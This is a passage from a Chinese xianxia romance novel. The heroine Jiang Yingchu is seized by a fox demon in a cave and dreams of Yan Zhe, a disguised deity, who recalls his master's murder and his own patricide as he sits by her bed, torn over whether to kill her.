“那你要同谁切磋?”云水真君被小徒弟逗笑,问:“和为师切磋吗?”
言遮装得满脸天真,答的话驴头不对马嘴:“什么?您知道我想和大师兄比试一番?”
云水真君:“豁。”
如果在场别人被言遮点名了,一定慌得当场挖个洞钻进去。
可梅寻宁堪称整个云水山最要面子的人,没等云水真君从中周旋,当即就一口应了下来。
结果在情理之中,却又出人意料。
在情理之中,因为梅寻宁毫无反转地败给了言遮,手中的剑都被打飞出去十米远,摇摇晃晃身形不稳。
出人意料的是,言遮调动灵力掐诀,居然换来了赤心蝶!
一时间,云水真君都忘了去呵斥小徒弟的下手没轻没重,满脸自豪。
当众人围着言遮高声夸赞时,梅寻宁抹去嘴角血迹,狼狈地孤身离去。
赤心蝶,梅寻宁永远不会忘记,他也不会忘记在言遮剑下所受过的耻辱。
眼下,一路追随着赤心蝶落至路口,姜盈初随口说:“这蝴蝶的颜色挺特别的。”
言遮看了蝴蝶一眼,这次没有接小徒弟的话。
“走吧。”他话锋一转地说。
南山地大,好在有赤心蝶的指引,一条弯弯绕绕,藏在遮天古树中的小路被众人找到。
拨开路口的枝叶往下一瞧,姜盈初脸色微变。
只见湿润的黑土上,深深浅浅的脚印密布——是兽类的脚印。
有不稳重的玄差看见脚印,当即被吓得叫唤了一声。
小路弯弯绕绕地通向一处幽深的洞口,那洞里便立马有隐隐的兽鸣声传来。
大家没听过这种叫声,但还是深感凄厉,鸡皮疙瘩都要起来。
姜盈初要第一个往进走的时候,忽然又只手攀上她的肩膀,指尖不小心蹭过她的脖颈。
她碎发下的皮肤上沾了一点粉,很细微,很难被人发现。
“我走前面吧。”梅寻宁收回手,捻了捻指腹,主动挡在了前面。
三水和言遮被姜盈初勒令候在外面,言遮不满地眯了眯眼,可碍于自己无能师父的人设,无言反驳。
三水瞥见密密麻麻的兽印,听见凄厉的咆哮,不用姜盈初说,心里就打起了退堂鼓。
“我觉得你也不要进去。”他看着那些缠绕在姜盈初身边的黑雾,仰面说。
可惜姜盈初以为这是三水在害怕的阻拦,她安慰地笑了一下,“放心。”
没等三水把话说完,她就跟在梅寻宁身后往洞口走了。
三水只能闭嘴。
早在他把自己能看到不好的事情发生这个能力告诉姜盈初的时候,姜盈初对他说了句悄悄话。
她说:“以后不要告诉别人你的能力。”
“可是我是想提醒他们啊。”三水说。
姜盈初:“那也不行。”
所以现在三水没有办法堂而皇之地说“我觉得不会发生不幸,”只能眼睁睁目送姜盈初钻进洞里。
伸手不见五指的漆黑,姜盈初甩出一张符纸,符纸燃起的火苗才依稀照亮最近的地方。
临野跟在姜盈初身后,忽而感到被什么东西一绊。
他低头看去,发现了散落在地的珠钗——是李平安的东西。
他把这些东西捡拾起来,递给姜盈初。
“什么?”姜盈初轻声问。
许是光太暗了,她实在看不清楚临野手里捧了什么。
临野抬眼,古怪地盯着她,“李平安的钗子。”
姜盈初“哦”了一声,又转身准备跟着梅寻宁继续往内走。
往前迈出一步,她又顿住了脚步,僵硬地回过头来。
她看不清楚这是什么东西。
临野怎么能看清楚?
姜盈初去观察临野的表情,结果只看到了一个模糊的人影。
四周的一切都变得模糊,晃动……
一阵不知名的疼痛似潮水袭来,她甚至站都站不稳。
碰巧一条毛茸茸的尾巴在黑暗里伸出,以迅雷不及掩耳之势还上姜盈初的腰。
只一瞬间,她就被那条尾巴拖进了无边黑暗里——伴随着身体的剧痛。
姜盈初已经不能分辨自己此刻在什么地方,朦胧间,她看到了一双记忆深刻的通红眼睛。
是给她放了一枝不同意的茉莉的那名女子!
这名女子眸光幽深地盯着姜盈初,身后的尾巴高高竖起。
尾巴。
正常人怎么会有尾巴?
姜盈初觉得自己疼出了幻觉,昏昏沉沉闭眼。
*
她疼得昏了过去,可哪怕是在梦中,疼痛的感觉也依旧如影随形。
夕阳沉下山头,山间刮起微凉的夜风。
昏沉朦胧的幽蓝里,一棵花树被吹得飘下片片花瓣。
姜盈初蹲在花树下,缩成一团,尽量让自己忽视从骨缝里渗出一般的痛感。
不远处传来一阵窸窣的响声。
姜盈初艰难又迅速地躲在了近处的大石头后面,再小心翼翼地探头去看来人。
未见其人,先见来人提着的灯。
暖黄色的光瞬间驱散了姜盈初心里的恐惧,她抬头顺着飘摇的衣摆看去,对上言遮的视线。
“今日还有药么?”姜盈初问。
言遮将灯笼搁置在石头上,从怀里摸出一个小玉瓶,温声笑道:“当然有。”
他眉宇间又透着毫不掩饰的担心,问:“今日还觉得疼?”
姜盈初闷闷地“嗯”了一声。
言遮半蹲下来,倒出玉瓶里的小药丸。
看着姜盈初吃下,他疑惑又不解,但声音坚定:“明天我再去藏书阁找找看,一定能查清你这是什么病。”
“好。”姜盈初应道,她自然而然地趴上了言遮的背。
他背起她,缓缓走离花树。
这是他们这几日形成的默契,她在这里偷偷吃了言遮拿来的药,再由他背着自己往出走。
用言遮的话解释,“这药太珍贵,其他人瞧见,是会想方设法来偷的。”
“你别担心,不会是什么稀奇古怪的病。”稳步走下石阶,言遮还在安慰姜盈初。
姜盈初无精打采地趴在他肩头,“嗯。”
言遮听出她一个字里面藏着的丧气,于是更放软了声音,“我给你讲个故事,从前有一个小猪,他修炼成精……”
温软的声音弥散在风中。
他故意编了哄小孩的故事来哄人,姜盈初听着故事,心里却愈发烦闷。
她当然知道自己没患什么稀奇古怪的病。
她只是有点——不适应这副身体而已。
言遮还在讲着小猪精的故事,姜盈初腹诽道:猪修炼成人,可不能称作精怪。
“我很重吗?”她突然问。
言遮愣怔,不懂她的意思,“嗯?”
姜盈初感受着他背上传来细微的湿意,说:“你都出汗了。”
言遮顿了一下,继续缓步向前走着。
“我这两日没修炼的缘故。”他解释说。
路仿佛长得没有尽头,他们在看不清彼此的夜色里慢慢往前走。
是这条路本就长,还是有人希望路再长一点?
都有吧。
不止是有人,两个人都希望这条路再长一点,时间再慢一点。
我们再待在一起久一点。
姜盈初感到疼意渐渐淡去。
忽而天旋地转,她又动弹不得,好像被囚禁在什么里头一样。
倾盆大雨,电闪雷鸣。
雨水将眼前石板冲刷得亮如明镜,也将内言遮的长发打得湿散。
云水真君撑着伞,路过罚跪在雨中的小徒弟,心中怨气还未消散。
他冷哼一声,径直路过了言遮。却又在三两步之后折返回来。
“你的脑子里到底装了什么?”云水真君把伞撑在小徒弟头顶,怒骂道:“你飞升上神的雷劫本就凶猛得异于常人,我每日抽三个时辰来给你炼丹,你转头就拱手相让是什么意思?你是感觉不到疼吗?铁打的皮肉吗?”
“好,就算你是铁做的感觉不到疼,那雷劫的疤留在背上,你非要逞强背人干什么?这疤总是又裂开的吧?那沾血的衣物是你的吧?这还不疼?”
言遮一声不吭。
姜盈初闻言,觉得一种难以言喻的感觉漫上心头。
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可她动不了。
*
姜盈初被狐妖抓走,帝君第一次在凡间仗着自己“帝君”的名号压迫别人。
狐妖许茵虽然现出真身,可寡不敌众,再加上她还得频频回头保护角落里那个脸色惨白的人,自然落了下风。
梅寻宁和一众玄差降伏了她,秘密地将其关押在城主府。
“她应该是在混战中被那狐妖伤到了。”梅寻宁给脸色黑沉的言遮解释。
言遮不偏头,目光紧紧盯着昏在床上的姜盈初。
良久,他侧身勾勾手指,示意梅寻宁和他一块儿往出走。
“把那只狐妖交给我。”迈出房门,言遮冷声道。
梅寻宁满脸尴尬,毕竟许茵是和自己有着主仆情谊的妖兽。
把她交给这会儿的言遮,无疑是把她推向了死神的怀抱。
他解释道:“她平时不伤人的,虽然修得人身,可——”
话没说完,言遮就抬手扼上他的脖子,将他狠狠撞在了身后柱子上。
毫无防备的梅寻宁疼得倒吸一口凉气。
“本君命你,把那只狐妖交出来。”言遮的声音比刚刚还要冷,眼眸黑沉,眸中似有乌云翻滚。
没有人能在帝君的压迫下说出一个“不”字——除了梅寻宁这种最厌恶被人威胁的人。
特别是威胁他的人是言遮的时候,他会越挫越勇。
“要我交出她,然后呢?给床上躺着的灭世魔头报仇吗?”梅寻宁面目狰狞的问,“我真的不懂,你下凡除魔,杀她了如指掌,怎么时至今日还不——”
“不用你管。”言遮眼眸眯起,扼住梅寻宁脖子的手更用力几分。
梅寻宁面红耳涨,却依旧不肯罢休,艰难地嘶声道:“你不杀了她,是等谁死了才要动手吗?师尊死了你才愿意动手吗?”
言遮的手猛然松开来,再难抬起。
梅寻宁捂着脖子咳了几声,接着“咯咯咯”地笑起来。
他贴近言遮,眉目狠戾,揉着脖子狠狠道:“你可永远不要忘了师尊是怎么死的。”
永宁三十四年,云水真君命陨于人间。
真君命陨,其幕后黑手不是凡人,而是一年前化魔的言高义。
言高义,言遮的生父。
云水真君死状凄惨,被人掏心挖肺。
素日里威严无上常坐高台的掌门,居然死在了自己的山门外头。
言遮赶到山门外时,那里等他的除了云水真君的尸体,还有山门上下一众师兄弟妹的冷眼相待。
“你爹的夺魄笛不小心落在这里了。”梅寻宁从云水真君的尸体上拿起笛子,沾血递给言遮。
言遮哑口无言,颤抖着接过笛子。
他愣神地盯了笛子好一会儿,忽然抬手,将其甩出去数米,恍若刚刚碰了什么脏东西一样。
在这一刻,言遮终于认清了他爹已经化魔的事实。
五年前,四处突然流言窜起,说将有魔头降世。有人深信不疑,有人嗤之以鼻。
一年前,言遮的生父言高义额间突然多出来一朵墨色的花,印记一般。
云水真君昭告天下:此乃魔印。
言高义是魔头?
云水真君的威望不必多说,此话一出,众人深信不疑,纷纷要杀了言高义,除魔卫道。
大家追杀言高义的同时,还不忘了给云水真君道一声谢。
彼时只有一个人给云水真君摆脸色。
父亲猛然被扣上一顶“魔头”的帽子,言遮差点想卷了铺盖就出山门。
直到见到师尊尸体的这一刻,他才意识到,师尊所言所语,都没有骗他。
大家来没来得及声讨言遮,却见言遮做出了一个惊世骇俗的事。
手刃生父,除了魔,卫了道。
从此没人敢把云水真君的死怪到他头上来——除了梅寻宁。
你要等有人死了才肯动手吗?
梅寻宁的话萦绕在言遮周身,挥之不去。
言遮终是迈进了那间房。
*
房间里很安静,下人都被言遮遣散,他轻轻带上了门,随手抛出一道结界。
姜盈初还没有醒,安安静静地躺在床上。
言遮走过去,瞥见没掖好的被角,下意识皱了皱眉。
他走过去,一边在心里吐槽下人做事的不细致,一边给她仔细地盖好被子。
抬手的那一刻,言遮反应过来自己是来杀她的,哭笑不得。
既来杀她,何苦又要做这种事?
她再也不会着凉了。
姜盈初睁眼的时候,四肢百骸依然都很痛。
她转头,看见言遮坐在自己床边。
梦和现实一时间真假难辨,反正刚从难过中抽离的姜盈初分不清楚。
言遮逆着光,神情晦暗。
姜盈初直起身子,下意识地做了自己想在梦中做的事。
她惊喜地发现自己终于能够动弹,而后靠近他,再靠近他。
距离近在咫尺的时候,她抬手,轻轻抚上他的眉骨。